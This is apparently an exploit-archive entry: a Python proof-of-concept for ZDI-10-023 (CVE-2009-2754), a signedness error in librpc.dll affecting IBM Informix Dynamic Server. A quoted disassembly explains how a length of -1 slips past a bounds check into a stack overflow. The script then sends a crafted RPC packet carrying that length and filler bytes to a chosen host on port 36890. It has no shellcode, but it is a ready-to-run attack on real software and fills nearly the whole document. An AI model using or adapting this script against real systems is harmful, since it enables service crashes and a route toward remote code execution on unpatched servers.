Multiple Vendor ‘librpc.dll’ Signedness Error – Remote Code Execution
# Exploit Title: ZDI-10-023: Multiple Vendor librpc.dll Signedness Error Remote Code Execution Vulnerability # Date: 2010-04-08 # Author: ZSploit.com # Software Link: N/A # Version: N/A # Tested on: IBM Informix Dynamic Server 10.0 # CVE : CVE-2009-2754 #! /usr/bin/env python ############################################################################### ## File : zs_ids_rpc.py ## Description: ## : ## Created_On : Mar 21 2010 ## ## (c) Copyright 2010, ZSploit.com. all rights reserved. ############################################################################### """ The issue in __lgto_svcauth_unix(): .text:1000B8E1 mov [ebp+0], eax .text:1000B8E4 mov eax, [ebx] .text:1000B8E6 push eax ; netlong .text:1000B8E7 add ebx, 4 .text:1000B8EA call esi ; ntohl ; Get length of hostname .text:1000B8EC cmp eax, 0FFh ; Signedness error, if we give 0xffffffff(-1) will pass this check .text:1000B8F1 jle short loc_1000B8FD .text:1000B8F3 mov esi, 1 .text:1000B8F8 jmp loc_1000B9D5 .text:1000B8FD ; --------------------------------------------------------------------------- .text:1000B8FD .text:1000B8FD loc_1000B8FD: ; CODE XREF: __lgto_svcauth_unix+71j .text:1000B8FD mov edi, [ebp+4] .text:1000B900 mov ecx, eax .text:1000B902 mov edx, ecx .text:1000B904 mov esi, ebx .text:1000B906 shr ecx, 2 .text:1000B909 rep movsd ; call memcpy here with user-supplied size cause a stack overflow .text:1000B90B mov ecx, edx .text:1000B90D add eax, 3 .text:1000B910 and ecx, 3 .text:1000B913 rep movsb """ import sys import socket if (len(sys.argv) != 2): print "Usage:\t%s [target]" % sys.argv[0] sys.exit(0) data = "\x80\x00\x00\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" \ "\x00\x01\x86\xb1\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01" \ "\x00\x00\x00\x4c\x00\x00\xd6\x45\xff\xff\xff\xff\x41\x41\x41\x41" \ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x0a\x42\x42\x42\x42\x42\x42\x42\x42" \ "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \ "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \ "\x00\x00\x00\x00\x00\x00\x00\x00" host = sys.argv[1] port = 36890 print "PoC for ZDI-10-023 by ZSploit.com" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) s.send(data) print "Sending payload .." except: print "Error in send" print "Done" except: print "Error in socket" The ZSploit Team http://zsploit.com |